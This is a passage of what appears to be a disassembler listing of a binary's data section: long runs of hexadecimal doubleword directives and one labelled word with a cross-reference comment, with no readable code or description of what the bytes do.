140020B1h, 346FB705h dd 170EBh, 52732FACh, 0D5E2DDBDh, 0FF4DFB03h, 800413BFh dd 0B799583h, 0EE1BA476h, 5496301Ch, 0E91480B9h, 70760FE3h dd 0F1343B51h, 6FE4A502h, 4C80641Dh, 43F7A6F4h, 1B00209Ch dd 1D3DB7D2h, 0E99C1C79h, 39F540DDh, 316CF462h, 600C7E6h dd 10DF5EE3h, 1A10CB2h, 0C36446F8h, 0D002C4DBh, 0A5EED584h dd 23A86103h, 0F0373ECAh, 168B2CAAh, 0C583F8h, 702679Bh dd 0BB077A73h, 9DB7E360h, 9EA69240h, 33320BDFh, 3C00446Dh dd 0DDE1B075h, 21C0A2F6h, 5217772Dh, 14B90938h, 0D380E2BFh dd 410C5573h, 8E769600h, 0C7C3A70Eh, 41309AEBh, 0D6204074h dd 18269962h, 0A680802Dh, 0FFDD8AFEh, 141F00C2h, 0F3B54B59h dd 895AA740h, 3A0E54D1h, 65D2C0h, 0C90A7D4Ch, 70B035F6h dd 313E0F00h, 9C1FF4A7h, 6C5B301Ah, 18DD7CBEh, 30596800h dd 0AC033F64h, 295C0097h, 3A34104Dh, 0AA0F3284h, 0A6C5939Eh dd 11DC08h, 35428554h, 3FDA5BEFh, 0D5D42C1Ch, 0DF1E7C00h dd 755577h, 0E892EA48h, 0F87E4CADh, 0DC315800h, 0EAAD5A4h dd 5C4679D3h, 261C7C66h, 7A670035h, 0A305A5E6h, 413ABC00h dd 1D25DFEBh, 2A29091Ah, 6A002B36h, 0DA43FEECh, 0EA79909h dd 0D0280CEh, 39E3AA0h, 0EDE69BF7h, 9FF086C3h, 21FF5BBh dd 0E500343Eh, 0B16DE112h, 5342008Ah, 3F8999FDh, 0F002ABDh dd 0F9237DC8h, 3EA5B3h, 0CC4F5D9Eh, 26DE1D44h, 8886F602h dd 406FA439h, 0B7E655h, 0D42F616Ah, 645F91B5h, 0FCBC650Eh dd 28F8E0EDh, 1F9288AFh, 801F53E5h, 4D303756h, 8A7021DBh dd 1349700h, 1327B996h, 0F1A03C7h, 0F746814Bh, 5A22EEE0h dd 1B34748h, 341B9C42h, 78DCEAFFh, 878900E5h, 5F2E92FCh dd 65004CB5h, 2119507Ch, 2C988F86h, 3237A57h, 0A8E9EFDEh dd 0BC391598h, 0DD2A2F01h, 2EFD2805h, 3D27F080h, 62A79319h dd 7AF05Ch, 76B097C9h, 0ADC5ABh, 0C2919608h, 8F15E7E4h dd 0E563E00h, 13C74BBAh, 3B4A3F88h, 0F6ED3C0Fh, 65507D20h dd 433903C3h, 8E448036h, 13858CB3h, 6DF600ACh, 0D7E0A086h dd 901E5B9Dh, 0BC083ECh, 8B30C780h, 38A501C2h, 0A7105EB2h dd 76B3F825h, 8A1E39h, 2E45FDD4h, 9AB0C63h, 361895DCh dd 0C0254684h, 4D91DA41h, 0B403E670h, 3CE05576h, 0C0699A47h dd 0E79B5C7h, 0D9283A9Dh, 0B2A5B860h, 0CA00082Eh, 0C14A591Bh dd 4B6CECh, 141E8E31h, 1C7E51BDh, 0FC3037F4h, 1802883Ah dd 0EC8C0084h, 1D63C1E7h, 7A00BA12h, 2C19EE10h, 0EF1A317h dd 13909522h, 59F6DBA0h, 0DA06AC0Eh, 0EF4AD671h, 9E680B24h dd 0AD046CD7h, 55F8C0E6h, 9D776E96h, 59008AE8h, 39ED764Eh dd 0F0CECB0Bh, 84420057h, 0F2012DC4h, 0E0000858h, 5C89135h dd 4998F4h, 0D3DFB6BDh, 0E7FF766Ch, 0FCE48107h, 3940881Eh dd 0E8F72793h, 0A4740011h, 0DF124405h, 3C00E1D7h, 79FE6D7Ch dd 0A1420A97h, 0D4702B90h, 0BC6A0091h, 6D1C4FDDh, 0A700FCEDh dd 6B944279h, 97E2ADh, 90B406C1h, 9FAECB89h, 2FCAA800h dd 0B2636B1Ch, 0FF2200FEh, 0D9C5EB6h, 0FA072CB5h, 69E50ED2h dd 80D70373h, 707271Ah, 786C26A8h, 2A1CF081h, 0A6038448h dd 0C6AA775Bh, 6740D86Bh, 8FDF002Ch, 5DE281C7h, 3EE48563h dd 1B36D301h, 538CB6E1h, 68A0C4h, 9FA5F370h, 0D16E35Dh dd 0F007490h, 6A321105h, 1D5B49BAh, 0C0196878h, 35140A12h dd 4B00B865h, 2BF0484Dh, 373405A7h, 0A71AD078h, 219050E9h dd 3C3FFCA6h, 0F19E178Bh, 5A00BF16h, 3BE95D3h, 0E7DA3C1Ah dd 0C7C9D160h, 5D008991h, 3AFF724Eh, 182142Ah, 24D2D055h dd 0F7CCC7F7h, 0BEC42FC8h, 59475805h, 0A9C02B14h, 248F5Fh dd 755EC6C3h, 8CDCF441h, 8DC76800h, 7D973848h, 5CA300E5h dd 0B07FB116h, 0CA002E86h, 0BA747A77h, 784EF6h, 3AEA1CECh dd 0BB91E81Ah, 9F47401Dh, 705D2940h, 377A96h, 5697E3CBh dd 0DEF4602h, 4002A47Fh, 332DAF98h, 18C0807Ch, 3A3EBD5Ch dd 26007709h, 6F8CC52Bh, 6C264BA8h, 0B01624CBh, 82CBD07h dd 0B0FE2983h, 1E41B5Bh, 3758FCAEh, 0FC27C31Dh, 0BFF40399h dd 5E0042FEh, 0CF122C0Fh, 71238E66h, 415200C0h, 0C47635FFh dd 0CB0291E9h, 0D4752B71h, 0CD246079h, 0D32D3A5Ah, 52B83C80h dd 946F19EDh, 171111C3h dd 0CD39B8CAh, 9A7500B9h, 6F1546A4h, 30A02D68h, 17390CF3h dd 100E8034h, 0EAB55012h, 3D7A7C06h, 76068B9Bh, 11C1819Fh dd 0D5413C00h, 4AB8F823h, 0C6C20098h, 5BA3BC6Ch, 0CC03AEB7h dd 63B26E39h, 74890FF9h, 1C4082DEh, 6F4079D0h, 0E868F401h dd 0A30F4348h, 138B430h, 0F1CE6BA9h, 0C4556A09h, 47005494h dd 0B390DE17h, 3367E3Bh, 0C4B1C377h, 7DD07430h, 5A0062D0h dd 0D9F9A3F1h, 97BAD8Dh, 3EF8D87Ch, 256CFC80h, 1020E16h dd 0B29D3309h, 19F1404Ah, 0F2EC4Bh, 24FDA0E5h, 4278C118h dd 5D448700h, 0F5BEA55Bh, 0DF603E3h, 28A6642Eh, 2431F248h dd 4400BACEh, 8F88947Dh, 69730B26h, 0AD80D7FAh, 8AB8F91Dh dd 2C3E5200h, 54D69C04h, 689A0020h, 0C3992D65h, 757BC28Fh dd 2A44AB03h, 0AB245AA2h, 1CBF0FCh, 0AEA2410h, 38E300D4h dd 0DEFEE5F5h, 8C8F9D00h, 0E61D5B84h, 9C87135h, 91AFE4F9h dd 2AF76480h, 120FF021h, 201F5175h, 2DBC7C25h, 0E8B80752h dd 0ACD2C8EDh, 9616641Ch, 0C000F075h, 46848ACEh, 877C002Bh dd 180AFFD2h, 0F898ED83h, 92D9701h, 746DE428h, 2224C60h dd 0B21E318Ah, 80C046ABh, 0E500512Dh, 5AC8A7F3h, 4CB1A8h dd 668C9BC4h, 0A2ABA6E3h, 0DEDAD700h, 0EE543C57h, 0BF780192h dd 0F55FB2Ah, 8EC8307Eh, 7D00D090h, 0B583DAAh, 1CDC269h dd 80A5EE7h, 0FC87D77Fh, 88741A60h, 0D0808C18h, 0EFEBD90h dd 90B5F323h, 0E8CE3660h, 263CC215h, 1978140h, 80867019h dd 0BBBF7088h, 54DC00B8h, 7D61A229h, 0FC1F2405h, 0E5C20932h dd 0BC4B4800h, 2907FDD2h, 8DCEC7C6h, 0AADE7B60h, 0BF6A004Fh dd 34E22740h, 7501103Ah, 0EEF888CDh, 60D49FD1h, 868A00D2h dd 2559F4DEh, 76E6E3D9h, 36ADA03h, 80C1268Ch, 0F6FD78h dd 0E8EFDB20h, 0F402EC7Bh, 64601D00h, 5FE28B9Ah, 172000F3h dd 3178DAABh, 0B0000943h, 32A6A23Eh, 18563906h, 30A3C584h dd 1300628Ch, 92866ADBh, 0EE33F8h, 77C267B9h, 8DA36840h dd 5E74E000h, 70C973F1h, 225051Fh, 8086062Bh, 664ABB72h dd 0E3404200h, 5B399CD3h, 12EC0341h, 3B2E1D21h, 86204ED0h dd 7FE3BB03h, 0A8E49482h, 0DE610Dh, 49F3F7E8h, 0C41AA8F0h dd 0C18FD407h, 46308E7Bh, 0B8EC566Fh, 792E0031h, 0D0CFC4Eh dd 322E1511h, 12002726h, 0B9737255h, 8B029h, 278A7AD4h dd 3F60C6ACh, 331CA103h, 8877D3E1h, 1DBEAAFCh, 80294D46h dd 0BF1084C4h, 610020B5h, 2BEF658Fh, 377DEF4h, 0F69EC867h dd 6EB07FE1h, 4600EEBAh, 0F151DBA0h, 2DE714Eh, 153C364h dd 4340FF43h, 1175206Bh, 93E0665Ch, 0E0002616h, 46975A28h dd 4092D8h, 0EABFF457h, 6956D7D9h, 0FAA79A00h, 3E7B8E55h dd 0D39C051Bh, 0C6B322F4h, 4000D86Fh, 0EA0B466Ch, 1C6642A7h dd 4369CDB0h, 1FE1412Bh, 0C31154BFh, 0D09CEA9Ch, 0A097D000h dd 0AC802A00h, 2719C05h, 0F0B90086h, 32C2DE38h, 640146C7h dd 63330721h, 70F426DCh, 96750037h, 5D9AD744h, 0F4006CF1h dd 312BB867h, 7B830DD2h, 583300EEh, 248ED90Eh, 0E8006CAAh dd 0C39ABFA5h, 340C63h, 87D4044Bh, 85671B29h, 0C0242A00h dd 5EE2D7A9h, 7E6D28ECh, 0BFAA4887h, 0E0542C00h, 0BFA321BDh dd 310C5803h, 99374467h, 0C0247B05h, 34D10079h, 0D2034766h dd 0A25C179Eh, 0BEAF0028h, 14C5739h, 0EB9803E8h, 0AAD20841h dd 5A82C0FCh, 3C00ADACh, 0D502B9E9h, 0BA2EDABh, 0B7C68357h dd 6E8BC080h, 32E4A8DFh, 0E84A7900h, 0DB77AEE5h, 1CFE0054h dd 4393B0F9h, 2D1D286Ch, 0B41D5A6Dh, 0BEF3AD40h, 16913D8h dd 0E4B83ABDh, 36F27B73h, 0E577C494h, 0C086A300h, 0D9E3A8A5h dd 4060EEB5h, 9A00E78Ah, 0DAF43CA1h, 7625A31h, 5C6F43CCh dd 626200Ah, 0EA0058B3h, 8EAEF8A8h, 1CC5F178h, 92EF3D82h dd 4F24C1C7h, 0CC80FE23h, 0A79317D1h, 10C87C16h, 4A2C841h dd 0A4642F24h, 37E4D8h, 0DAEB9560h, 1A913BBh, 3D08C748h dd 8F90012Ah, 5FAFB9F2h, 58C46021h, 7CF01F54h, 5B88405Eh dd 0C371425Ch, 0B2203761h, 0FCD862DFh, 308C9638h, 76B09919h dd 828D8E00h, 8133AB2Ah, 14D912DCh, 0F1780475h, 866E4199h dd 0EC60F32Ch, 4B4C581Eh, 90E6FF09h, 5376A800h, 784850FDh dd 7B230750h, 3487B72Fh, 8D637210h, 0EBAD1639h, 5F1020E7h dd 220D4782h, 1643F3BEh, 0E9B0E500h, 9D84302Bh, 50355F48h dd 59F6503h, 0A052C270h, 300B80A9h, 8AC0A107h, 0EE7CD981h dd 22F38906h, 5CB12F20h, 1A8080FDh, 76110E57h, 886083F2h dd 99C6F438h, 42804CE1h, 0DF205800h, 6E79BF93h, 5FD7D60Ah dd 0A49CCC34h, 86168568h, 68070208h, 6444A6Dh, 2EF090A4h dd 80C0AFE0h, 0AE6759CAh, 6C1226A7h, 0AC007D2Dh, 0C1212E7Bh dd 0CEE4641Fh, 200EA01h, 0A6F14DB9h, 21FF0178h, 0BEE52CBAh dd 0C2F0CC91h, 0EAE89A03h, 0B09963FDh, 7DE287h, 64D2AFBBh dd 9F485588h, 2E39401h, 0C9C53470h, 98586870h, 6E3114C6h dd 7D00842Ah, 0DB728B0Fh, 0BD0CF353h, 3270D61Dh, 0BCEC0058h dd 7565D9B0h, 0DD013D27h, 55C5C02Bh, 0CDD877A5h, 0B0160015h dd 318BD436h, 0CC0253C7h, 0FE9F8FD6h, 2770E866h, 79972C8Ah dd 10EC0067h, 0E9202B03h, 77CB348h, 0FA2AEB16h, 80774540h dd 0FED0A879h, 8E20A03Dh, 0A39BB8DAh, 0B4D5A06Ah, 0EF37310h dd 68E4D120h, 84BBF46h, 7147CB00h, 2540D66Dh, 5F7A2E28h dd 0F68D3AFEh, 20506F02h, 28B8ECB1h, 60CC2B30h, 50FF34F7h dd 90383Bh, 499E9A12h, 2AF37CC0h, 63FF3514h, 98822010h dd 0FEA9147Dh, 78140C64h, 14066089h, 0D4342AFBh, 7DD30500h dd 0AECB6C5h, 0F0AF00F4h, 8685DC16h, 80F6FEAh, 0C0258C19h dd 0F8477C8Bh, 0FC0B011Ah, 1E1FE9E0h, 0EC33D099h, 9CDB9200h dd 0E76316C5h, 0AB710025h, 0FC39B4E5h, 0B2001910h, 2DF880FDh dd 1CC55363h, 803EC04Ch, 0F7CC8FF2h, 5000E8B9h, 0E66DE1BAh dd 0EF84101h, 801614CBh, 0CA26FD00h, 0EE2AD6C7h, 4C008CC4h dd 0CF0A71Ch, 240E0811h, 4B52945h, 0C0AD7903h, 0D490EF26h dd 67FF1004h, 0FCC02D2Ch, 0CFA571B6h, 88F59E40h, 0EAF8CE00h dd 34E82B11h, 0BCC1E700h, 0C52D4566h, 7D2EEB0h, 52D7CCA8h dd 879FA3E0h, 6C363900h, 3E033130h, 0A1B200D3h, 97585312h dd 0B8006284h, 987823C9h, 103DD242h, 11D75E0h, 8EA50A7Dh dd 0B7F83F46h, 10E0039h, 897CDC2Dh, 0D21EB85Ch, 1D03D077h dd 900F4F6Ah, 0F8BFD68Fh, 49EB00F7h, 0F3CAEEAAh, 8CF2D4A2h dd 3A424h, 0BE76AE43h, 131D0069h, 0A8FC3663h, 0B9C38B9Dh dd 815601A4h, 0ECF8B1B5h, 5DC15815h, 0EF7BE800h, 0F72E7C46h dd 9DA66900h, 0EA213380h, 3DF0004Eh, 31B64792h, 0ED09341Bh dd 8C327F28h, 462A1139h, 842C0288h, 20521244h, 0BB467F97h dd 0FF741C9h, 8304F56Ch, 7D43E850h, 0D85B5810h, 421F432h dd 291C4DE3h, 183029FBh, 0CE651Ch, 0E7E634A0h, 532DB817h dd 0F6796100h, 5574F821h, 2E520DA6h, 9D694887h, 22B058h dd 3D0B5FBEh, 7ADD5C8Ch, 46BA70Ah, 2B3B10FDh, 54873CC8h dd 0CE000D31h, 1E63A0DEh, 7D619B1Bh, 48029400h, 7F1DE808h dd 69BDB001h, 4207F212h, 6B1B818Eh, 56C498C0h, 0BC33FBDBh dd 4F085Eh, 42618221h, 5DCD4ED4h, 603B891Fh, 5FF779B0h dd 0DFD10099h, 0FB3E8F6Eh, 8CC7F86h, 14121EBh, 1324D191h dd 8A28984Eh, 806F2E39h dd 11AE443h, 57FC7AD1h, 0F3D86A29h, 0EF4DD390h, 211BE430h dd 0E384BEh, 0D4613170h, 802E5481h, 782447E7h, 60CAA680h dd 7B7B619h, 377A6335h, 1ED14024h, 4C1C41C4h, 7C4064CEh dd 7843A736h, 0E3321BF5h, 0E4B04111h, 9B0398C0h, 933F5BD1h dd 170830B9h, 0C0EC5F21h, 0F08DF80Fh, 0CB440033h, 253C84h dd 6CE6BD97h, 9B5C61F4h, 0E0C37A2Ah, 93F39F00h, 97FBA96Fh dd 4EA70A09h, 0A8ECFC84h, 0CB3C4508h, 0EBA89822h, 0C008E018h dd 70F19B94h, 0C01CE853h, 78007924h, 2EB058A0h, 971800D0h dd 73C34AD3h, 933D6596h, 8392BB5Eh, 57BF878h, 0D840FD7Ch dd 55B7C8FEh, 1C4D068Fh, 99406B2Eh, 0B07C5B00h, 93FB5CF9h dd 4330C106h, 0BE05CA04h, 0F02F2A81h, 533CE000h, 15D78678h dd 2E0B0E33h, 5A309C2h, 31646FC0h, 0EA6330E0h, 0E19B9AF8h dd 512F448Ch, 15C0F201h, 446B34F8h, 0E0614C40h, 16F500D4h dd 875C3FD8h, 0BCAAC782h, 27199884h, 0FC81B81Ah, 0BE0A8588h dd 665DE4F4h, 0C12D21F8h, 3002EB7Bh, 0C7DF26CBh, 3C9484A9h dd 0E8C9608h, 70848143h, 58E205B5h, 834A67Dh, 0D18385A0h dd 0FA95FFh, 35D71261h, 8BB05502h, 78201F1Eh, 2B08F3h dd 22DBD79h, 0E4134C57h, 38F60935h, 2E23503Ah, 7D05FD02h dd 4F58845Eh, 7F6A9F40h, 99E486D0h, 53BF5807h, 0C881D83Eh dd 0F9DB763Ch, 0D8420EE3h, 3F660410h, 35001623h, 0DB572B05h dd 56AB0081h, 859B7422h, 0A504061Ah, 9708B604h, 217D3C92h dd 114E0E4Ch, 97C433ADh, 357C9Ch, 7E1AE382h, 2FFDC4DFh dd 29630F34h, 31E96C82h, 0C499D86Ah, 50226E46h, 42608100h dd 4091F09Eh, 9F4E085Ch, 0DC200134h, 98029246h, 33B06A02h dd 0C2102A31h, 2F3E0230h, 42010045h, 61D5A82h, 0C0E7547Bh dd 0E2CA0E9Fh, 0B462D49Bh, 0ADC06996h, 453E05C5h, 9670672h dd 471B106h, 0B7C4A6F7h, 83C48865h, 91E44F44h, 0FBD900B8h dd 0A94C3256h, 35CE1101h, 0B6FC4FB2h, 266569E8h, 11D86D86h dd 0D198806Fh, 8C676EE2h, 425844h, 75AAD190h, 921DB5EBh dd 502A9D0Ch, 0C71321EFh, 804FF11Ah, 18DD06E0h, 0C6479F05h dd 93828D6Dh, 44584742h, 80D6028h, 0E0F91CCCh, 0C104CAD6h dd 87720174h, 801CE4A1h, 843C6111h, 1171D03h, 34D249A7h dd 52137683h, 0C1211990h, 9BED791Ah, 1DB8960h, 0C8EEB4E6h dd 408CCDCFh, 470D97ACh, 7EAD88h, 98DB713Bh, 48A8F522h dd 99564Ch, 5C35DF6Ch, 0F3647A99h, 6FE3E834h, 2D026922h dd 0F5C0B430h, 2607BD42h, 80D8842Ah, 9A189250h, 0BC9E006Ch dd 41994FDAh, 7007968Ch, 0BA8B6D5Bh, 0F1506191h, 7D80B055h dd 1EE91D94h, 0C0496BD5h, 0CC555185h, 0B701EC69h, 9854F544h dd 4040E436h, 431F1Ah, 611B25EFh, 0BEEC9C3Ah, 0D3556D00h dd 95A04251h, 0E2AB0011h, 463C0396h, 4E1215DBh, 0C402E85h dd 7C5CA697h, 38AE7576h, 0A8C8985Dh, 8C5AE8h, 667243F0h dd 0C83CF6A8h, 0CCBF042Ah, 4B0F3B01h, 503F0180h, 0DDF140F3h dd 0BF7ABDh, 0C6CF9C1Fh, 0AE9181B5h, 0A97D623Fh, 9826D06Fh dd 858EFB10h, 9B650691h, 46B013C7h, 4573BE6h, 0D976C434h dd 8F2A5432h, 4B314200h, 48B693E8h, 0B700C4E4h, 184E33Ah dd 10020EA5h, 73D3F0A7h, 0AED4E0EFh, 0F3138806h, 6D069BF6h dd 0EE501071h, 7F770019h, 7BC3A62Eh, 8302065Ch, 43F1F08h dd 0B8490CDh, 31D66A4Fh, 574674D0h, 0FFB9C700h, 0C0686C0Ah dd 24BF2526h, 2C46BC28h, 9E8BDE3Fh, 0A81CC19Bh, 0C0E65D1Dh dd 8697003Ch, 859D2AF6h, 691116EAh, 7DF800A6h, 97101EA3h dd 7A29B0F2h, 2AD134CCh, 810BEC18h, 18438B66h, 0B90EC4h dd 54132B62h, 2AC39FC8h, 9C3CCC92h, 0A60972BDh, 97CFE2FEh dd 802B91C8h, 0C4FE3EF0h, 0C86D599Fh, 0E8BCEC49h, 4C56E900h dd 825E9D4Dh, 8B90C873h, 6B0297C0h, 244AEFB0h, 22FB700h dd 4AB177A9h, 516E5201h, 597D060Fh, 2E88EC28h, 4F403444h dd 8DDE1A2Ch, 135C410Eh, 90026030h, 4B2805E5h, 9F10219Bh dd 8091F24Eh, 0D8324Fh, 0E0CC748Ch, 0EDA55Ch, 0C8E2F81Ch dd 159AAD0h, 6597FC01h, 2A64599h, 418026DDh, 0D1ECB357h dd 11007705h, 0D9905A0Bh, 3F5F181Ah, 4128D01h, 966830C7h dd 99604EA6h, 0F7A1211h, 111F44E4h, 0E2DE0A01h, 0B87F985Ah dd 0E4505822h, 5BCD4483h, 800CFA48h, 8C39B09Ah, 581D6444h dd 7E143F5h, 0D531004Dh, 4C6941E5h, 3000BF08h, 0E3388768h dd 0FE2E34F4h, 98550103h, 14A006FEh, 96002178h, 0F0483C0Eh dd 234C096h, 9346B056h, 0B6182322h, 8090022Ch, 0F9BB0004h dd 95814E4Ah, 3D88460Dh, 87440116h, 821603Ch, 5019804Ah dd 4BF2CBA2h, 0B243059Dh, 0CCB1BF41h, 45007570h, 0A098EBE1h dd 3789DAh, 25AD14B7h, 5C97A6E5h, 0E84EF629h, 18C40404h dd 0C0FA1488h, 0A4AEB9C1h, 0AA18BA80h, 1921141Bh, 368B0237h dd 0CA03C599h, 805C28E6h, 70DD804Ch, 192F030h, 4FED99F9h dd 817197CAh, 2F980A29h, 0AF302A77h, 0FB67027Ah, 6B0D842h dd 1A0EAC4Ch, 8B12CAFCh, 4C940AC3h, 4D3AC466h, 0F92CCE8h dd 46AB9EBCh, 10532431h, 42637Ch, 3B2B1FE6h, 339A4EB8h dd 0B446C4AAh, 5B9CF000h, 5AA9A6C4h, 68F5582Fh, 6AA8224Ah dd 5830F311h, 0E5048C2Dh, 0C99B9DC0h, 5C202D62h, 1282C0EDh dd 122FE95Dh, 970C9040h, 0C500B603h, 73B92475h, 0F8E4BFB0h dd 601C9EFBh, 1BA5B841h, 8BD37D07h, 0A6408060h, 0F9C3267h dd 0C57F627Eh, 0D5656480h, 711C6E5Fh, 1FE9198h, 55236699h dd 1080A29Bh, 323990C8h, 20007807h, 48EA0E8Ch, 0A2D362h dd 4A9A815Ch, 0A5D4731Bh, 983C6F74h, 0CA830092h, 0C9656B8Fh dd 87B6C8Bh, 0D27A6430h, 0D47E627Ch, 0CF701B00h, 0D5796DA6h dd 8F6E147Eh, 44764D6h, 2DFBA8AFh, 2024F214h, 29E608Ch dd 43B0236Ch, 0B80F2111h, 0A9800236h, 5374377Ah, 87C4FB1Fh dd 1C4A6747h, 2B8882B0h, 0A8FD5CFAh, 561DED23h, 8EC43582h dd 40DC1BD9h, 14426C85h, 0D02800A2h, 343FB86Eh, 0B2145E9h dd 9B04004Fh, 53C0DE8Bh, 0D6690C06h, 18486034h, 0C95A9F4Eh dd 9430DAB0h, 0B7C28804h, 0A0EA6C86h, 0A02DBF40h, 91149DF5h dd 65E802Ah, 0F296BA6h, 19679574h, 88447A0Bh, 0E840009Eh dd 3EA7442Ah, 0C806F082h, 883F329Fh, 2A44BC87h, 5254E060h dd 2FB4FA1Ch, 15F58280h, 9C623B8Ah, 0D19360CCh, 7F466EDDh dd 3F1EF222h, 66C6D18Bh, 9DA904E4h, 0F2D5D6C0h, 0ED149300h dd 9F11BF09h, 68AF0567h, 17022FC0h, 5506EC4h, 9C148EADh dd 31D463h, 0C0BC4CB1h, 4505C1FDh, 9643C09Eh, 9063A288h dd 10D1946Ch, 0E0876EDEh, 8D18C46h, 6E45CBDh, 94434085h dd 258BC0FAh, 0B9078C10h, 0DFB983Ch, 11801F09h, 0F689802Dh dd 14C124A3h, 0F84A511Eh, 0F47F1284h, 0C0187CBCh, 19D8C3AEh dd 0F5923837h, 23428A80h, 0C084FD1Bh, 78F9D567h, 0F5FE8950h dd 5ABA00AAh, 0B880FD19h, 0E804E213h, 0E7CB1245h, 723EA880h dd 6C414818h, 0EE2684h, 7A488BF8h, 0D189C075h, 82AFFE14h dd 43205869h, 54DD908h, 1AD4A180h, 93348166h, 0A52A2703h dd 0A0EF8A79h, 30A299A9h, 35884702h, 2754FB5Ch, 7A00D280h dd 8A494A52h, 0FAC1695h, 833A4244h, 4E657520h, 3499B3D4h dd 0FDB00506h, 0D0560971h, 24072E6Bh, 235B3099h, 2228AC15h dd 6E0C8831h, 0F0FAFBC0h dd 7C341872h, 558C4941h, 386AB013h, 0B45C2C43h, 2F915E01h dd 24235Ch, 0F692CD74h, 681366B2h, 38028C4Dh, 923D8h, 1F5BCB11h dd 9EA43D0Ch, 69DA022h, 9A7C43A8h, 20E11032h, 58BEDB40h dd 49F0EA47h, 87144Dh, 50DE52E0h, 0FB226BC5h, 24A71F07h dd 0CB304C5Dh, 0E4F68372h, 180C9809h, 0A130FB8Bh, 0A400D292h dd 0C5B164ACh, 1338C16Ah, 0CBCFA31Eh, 0A39D04h, 0BA9A9E4Dh dd 3F03B0CBh, 0A68A9B73h, 12C0241Bh, 941C0420h, 0C08CD14Dh dd 5618A30h, 4E40DCB5h, 8007CBD0h, 7E4A34A2h, 9BD42897h dd 977C88h, 0E9628BA5h, 471FB39Fh, 3053C748h, 2E919132h dd 0B8841F6Bh, 868EC00Dh, 637119C3h, 55C9E04h, 0E0A90F08h dd 1F92FE00h, 0DF687F88h, 0CC6E6F4Eh, 111B6A0Fh, 823C1484h dd 7A055D94h, 97289404h, 0BA808CA8h, 0E2C56DDDh, 0B258C209h dd 995CE8E4h, 0C11402C7h, 0DAD751Fh, 0E4D19643h, 61218021h dd 4C8A46DFh, 681A0EBDh, 87E0967Dh, 556B388Fh, 0D92E8401h dd 0F650625Ch, 8AF3A850h, 56BB0011h, 0B4C572DCh, 57009B07h dd 0C3058B73h, 541EC478h, 1C750DBh, 609152Fh, 60C24DCBh dd 46763424h, 80D16E87h, 0F0DB4139h, 0D39501D6h, 5272BA73h dd 0AF44D4F3h, 5944B8A7h, 60E76067h, 8FEC29A6h, 7904A49h dd 1BD84F0Fh, 0FB2003F9h, 0B9890025h, 74500CC1h, 0CC00B7CBh dd 0BAB28875h, 48807B63h, 530258CAh, 3B72A29Bh, 9BC44463h dd 0B42DC104h, 0E4FCD015h, 48219523h, 2009B895h, 850079E3h dd 7B8C519Ah, 0FA6A89h, 82AEEBA6h, 0FE3376E2h, 1EAFC409h dd 3F200048h, 6055B97h, 0CF44BD86h, 980319C6h, 3E8A6B67h dd 8417FA80h, 996091CCh, 0B0216902h, 31B9C02Bh, 22008602h dd 0F836CC92h, 98341CDAh, 8BD54A78h, 0C12AC854h, 0D011D77Eh dd 0E0C72A3h, 50452473h, 582095E3h, 0C3A8CB38h, 4BF90900h dd 0B108A04Ah, 0E79A1897h, 490EE058h, 9A6DF80h, 5BD976BCh dd 4EEF6420h, 0FF4C609Dh, 8C21F8C4h, 8042513Eh, 0F69CFC4Dh dd 99762F3h, 0E7735BA6h, 0AC770CA4h, 8CD434h, 46D9BB9Fh dd 71D4BC9Dh, 995C28E3h, 7A232580h, 2EC444E5h, 0AE72CF60h dd 3870DA14h, 0E4884B90h, 0BA1D008Dh, 0F0A36211h, 9609B2C4h dd 91904E76h, 943250D8h, 0A99F2A3Eh, 626681E4h, 1051852Eh dd 6E7608Bh, 0E1434E31h, 8840897h, 0A76A9901h, 2D67D856h dd 1C879420h, 898D047Ah, 348B89FDh, 0D19A8430h, 976EE011h dd 4080EC88h, 17D8D192h, 0E8BA489Bh, 9C7C5B18h, 0B00BFB9Eh dd 252C9472h, 10F2ACA4h, 0A0CF58F7h, 0DDFBD6D9h, 42F7128Ch dd 4E0C058Eh, 1030B493h, 13403890h, 48B779C8h, 5018245Ch dd 637A9F0h, 1636F60Eh, 9580874Dh, 8DB10CB0h, 0CB4F0FADh dd 2EE25F83h, 0A4AA457Dh, 505A08C4h, 4D899409h, 0C0606210h dd 0B700D051h, 48920FD7h, 77862CB4h, 27C130E8h, 1658C605h dd 61798888h, 7205FC0h, 0E4EAB3C3h, 84CA9F04h, 7E34D09Dh dd 0A8164D59h, 8C20A6DAh, 33B9965h, 3473FC68h, 18095B57h dd 0F6A2C04h, 0B017FDB0h, 0C8FD160Bh, 263AD398h, 2430A708h dd 148A9FA8h, 9D807C6Ch, 6F6EE3D1h, 3D5A448Ch, 34D19500h dd 0EA10FA1Fh, 459D0FF0h, 0A2CF8189h, 0B80030C9h, 508FD4E3h dd 5877B22Ch, 0CA9C9700h, 3CB79BD5h, 76250423h, 5791E897h dd 0BDA47B80h, 0AE0AC83Ah, 0C0B7D670h, 5079F660h, 68D516D8h dd 976C60FEh, 132CD067h, 33911C35h, 57CA2Ch, 750D8AD4h dd 91000F71h, 0CD97BD7Bh, 9065F55Ch, 26D460Ch, 6EE4D19Eh dd 3C051C77h, 6CC1D196h, 766AEC8Ch, 0CCF0029h, 2D3FD9CDh dd 0BA00BDCEh, 3691F25Ah, 96A2A425h db 34h, 40h word_505446 dw 0D47Bh ; DATA XREF: ___:off_435718o dd 0BC00D897h, 9DFDCF12h, 0B0CD4EB1h, 1F5B13F4h, 23E02F7Ah dd 0E3ED002Dh, 0C12C498Eh, 2CFD8A24h, 341C5A12h, 903B288h dd 9013832Eh, 666B7E0h, 6F859880h, 441218F9h, 0A443E760h dd 1D40CFC4h, 52821687h, 18B01240h, 0EB8949F5h, 3CE20D3Bh dd 9AF80745h, 0C5B992D8h, 6057C434h, 392310Ch, 0B856BFA5h dd 78042C33h, 24227A9Bh, 31B0FCA0h, 93180603h, 0F09845C1h dd 5174B0Ch, 90C45876h, 5EBCE8ECh, 834C028Ch, 4F713034h dd 64445062h, 14509C81h, 378050B8h, 0D7AE6369h, 0D92A2100h dd 0A541DEBh, 0ACB01343h, 6BEC04CBh, 0A0C85252h, 711A0748h dd 50694E37h, 0BF62673Ch, 80E3471h, 5F3E3F6Fh, 80C9D892h dd 0CA4A5833h, 0C317C850h, 8ABA3E6Bh, 61F15D60h, 95902400h dd 2DAEBE9Ch, 728B00A7h, 7D7FC87Eh, 29F89DCCh, 0A0B2187Ch dd 0BC20894Ch, 0C8008CF3h, 0FA43CD05h, 1296CE1Eh, 20CA04B4h dd 7E7C1BE4h, 2245348h, 72C9249Fh, 0E2444047h, 3C082C6Ah dd 526CA638h, 4656285Ch, 0E82F00EDh, 82A29BECh, 0EE70C144h dd 441E0FB0h, 40081ACh, 16243DBCh, 6005F90Ah, 748BD140h dd 64C12BC8h, 